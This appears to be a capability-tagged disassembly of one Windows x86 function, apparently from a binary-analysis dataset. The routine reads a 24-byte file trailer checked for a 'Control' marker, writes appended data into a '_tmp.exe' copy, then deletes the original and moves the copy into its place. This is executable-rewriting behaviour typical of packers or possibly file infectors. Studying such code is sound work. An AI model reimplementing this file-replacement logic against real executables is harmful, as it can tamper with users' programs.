Function at 0x40339e
Capabilities:
Delete file
Move file
Read file on windows
Write file on windows

Disassembly:
mov eax, 0x40937c
call fcn.00404828
sub esp, 0x50
push ebx
push esi
push edi
xor ebx, ebx
lea ecx, [ebp - 0x24]
push ebx
mov dword [ebp - 4], ebx
call section..text
mov esi, str.Mrak1pack
lea eax, [ebp - 0x5c]
push esi
push eax
mov byte [ebp - 4], 1
mov dword [ebp - 0x14], ebx
call fcn.004042d0
lea eax, [ebp - 0x44]
push esi
push eax
mov byte [ebp - 0x4e], 5
call fcn.004042d0
add esp, 0x10
lea ecx, [ebp - 0x24]
mov byte [ebp - 0x36], 5
push 0x40c7f0
call fcn.0040106a
lea eax, [ebp - 0x2c]
push str._tmp.exe
push eax
lea ecx, [ebp - 0x24]
call fcn.004011a5
push eax
lea ecx, [ebp - 0x24]
mov byte [ebp - 4], 2
call fcn.0040106a
cmp dword [ebp - 0x2c], ebx
mov byte [ebp - 4], 1
je 0x403424
push dword [ebp - 0x2c]
call fcn.00404449
pop ecx
lea ecx, [ebp + 8]
mov dword [ebp - 0x2c], ebx
call fcn.00402570
push ecx
push ecx
mov ecx, esp
mov dword [ebp - 0x1c], esp
push eax
call section..text
call fcn.004036f1
pop ecx
cmp al, bl
pop ecx
jne 0x4036ba
push 0x40c820
call fcn.00401c15
mov edi, eax
pop ecx
cmp edi, ebx
mov dword [ebp - 0x10], edi
je 0x403690
mov esi, dword [sym.imp.KERNEL32.dll_SetFilePointer]
push 2
push ebx
push 0xffffffffffffffe8
push edi
call esi
lea eax, [ebp - 0x14]
push ebx
push eax
lea eax, [ebp - 0x44]
push 0x18
push eax
push edi
mov edi, dword [sym.imp.KERNEL32.dll_ReadFile]
call edi
lea eax, [ebp - 0x44]
push str.Control
push eax
call fcn.00404af0
pop ecx
test eax, eax
pop ecx
je 0x4034a7
push dword [ebp - 0x10]
call dword [sym.imp.KERNEL32.dll_CloseHandle]
jmp 0x403690
push ebx
push ebx
push ebx
push dword [ebp - 0x10]
call esi
push dword [ebp - 0x34]
call fcn.0040443b
pop ecx
mov dword [ebp - 0x1c], eax
lea ecx, [ebp - 0x14]
push ebx
push ecx
push dword [ebp - 0x34]
push eax
push dword [ebp - 0x10]
call edi
push dword [ebp - 0x10]
mov edi, dword [sym.imp.KERNEL32.dll_CloseHandle]
call edi
lea eax, [ebp - 0x24]
push eax
call fcn.00401bdc
cmp eax, ebx
pop ecx
mov dword [ebp - 0x10], eax
je 0x403690
lea ecx, [ebp - 0x14]
push ebx
push ecx
push dword [ebp - 0x34]
push dword [ebp - 0x1c]
push eax
call dword [sym.imp.KERNEL32.dll_WriteFile]
push dword [ebp - 0x10]
call edi
push dword [ebp - 0x1c]
call fcn.00404449
push 1
push dword [ebp - 0x24]
push dword [ebp + 8]
call fcn.0040211f
add esp, 0x10
test al, al
je 0x403690
push 0x40c820
call fcn.00401c15
cmp eax, ebx
pop ecx
mov dword [ebp - 0x10], eax
je 0x403690
push ebx
push ebx
push dword [ebp - 0x34]
push eax
call esi
push dword [ebp - 0x30]
call fcn.0040443b
pop ecx
mov dword [ebp - 0x1c], eax
lea ecx, [ebp - 0x14]
push ebx
push ecx
push dword [ebp - 0x30]
push eax
push dword [ebp - 0x10]
call dword [sym.imp.KERNEL32.dll_ReadFile]
push dword [ebp - 0x10]
call edi
lea eax, [ebp - 0x24]
push eax
call fcn.00401c4e
cmp eax, ebx
pop ecx
mov dword [ebp - 0x10], eax
je 0x403690
push 2
push ebx
push ebx
push eax
call esi
mov dword [ebp - 0x34], eax
lea eax, [ebp - 0x14]
push ebx
push eax
push dword [ebp - 0x30]
push dword [ebp - 0x1c]
push dword [ebp - 0x10]
call dword [sym.imp.KERNEL32.dll_WriteFile]
lea eax, [ebp - 0x14]
push ebx
push eax
lea eax, [ebp - 0x44]
push 0x18
push eax
push dword [ebp - 0x10]
call dword [sym.imp.KERNEL32.dll_WriteFile]
push dword [ebp - 0x10]
call edi
push dword [ebp - 0x1c]
call fcn.00404449
lea eax, [ebp + 8]
push eax
call fcn.00401c15
pop ecx
cmp eax, ebx
pop ecx
mov dword [ebp - 0x1c], eax
je 0x403690
push 2
push ebx
push ebx
push eax
call esi
push ebx
push ebx
push ebx
mov dword [ebp - 0x10], eax
push dword [ebp - 0x1c]
call esi
mov eax, dword [ebp - 0x10]
push eax
mov dword [ebp - 0x48], eax
call fcn.0040443b
pop ecx
mov dword [ebp - 0x18], eax
lea ecx, [ebp - 0x14]
push ebx
push ecx
push dword [ebp - 0x10]
push eax
push dword [ebp - 0x1c]
call dword [sym.imp.KERNEL32.dll_ReadFile]
mov eax, dword [ebp - 0x10]
push dword [ebp - 0x1c]
cmp eax, dword [ebp - 0x14]
jne 0x403648
call edi
lea eax, [ebp - 0x24]
push eax
call fcn.00401c4e
cmp eax, ebx
pop ecx
mov dword [ebp - 0x1c], eax
je 0x40364a
push 2
push ebx
push ebx
push eax
call esi
mov dword [ebp - 0x4c], eax
lea eax, [ebp - 0x14]
push ebx
push eax
push dword [ebp - 0x10]
mov esi, dword [sym.imp.KERNEL32.dll_WriteFile]
push dword [ebp - 0x18]
push dword [ebp - 0x1c]
call esi
mov eax, dword [ebp - 0x10]
cmp eax, dword [ebp - 0x14]
je 0x403655
push dword [ebp - 0x1c]
call edi
push dword [ebp - 0x18]
call fcn.00404449
pop ecx
jmp 0x403690
lea eax, [ebp - 0x14]
push ebx
push eax
lea eax, [ebp - 0x5c]
push 0x18
push eax
push dword [ebp - 0x1c]
call esi
push dword [ebp - 0x1c]
call edi
push dword [ebp - 0x18]
call fcn.00404449
pop ecx
push dword [ebp + 8]
call dword [sym.imp.KERNEL32.dll_DeleteFileA]
test eax, eax
je 0x403690
push dword [ebp + 8]
push dword [ebp - 0x24]
call dword [sym.imp.KERNEL32.dll_MoveFileA]
test eax, eax
jne 0x4036ba
cmp dword [ebp - 0x24], ebx
mov byte [ebp - 4], bl
je 0x4036a1
push dword [ebp - 0x24]
call fcn.00404449
pop ecx
or dword [ebp - 4], 0xffffffff
cmp dword [ebp + 8], ebx
mov dword [ebp - 0x24], ebx
je 0x4036b6
push dword [ebp + 8]
call fcn.00404449
pop ecx
xor al, al
jmp 0x4036e2
cmp dword [ebp - 0x24], ebx
mov byte [ebp - 4], bl
je 0x4036cb
push dword [ebp - 0x24]
call fcn.00404449
pop ecx
or dword [ebp - 4], 0xffffffff
cmp dword [ebp + 8], ebx
mov dword [ebp - 0x24], ebx
je 0x4036e0
push dword [ebp + 8]
call fcn.00404449
pop ecx
mov al, 1
mov ecx, dword [ebp - 0xc]
pop edi
pop esi
mov dword fs:[0], ecx
pop ebx
leave
ret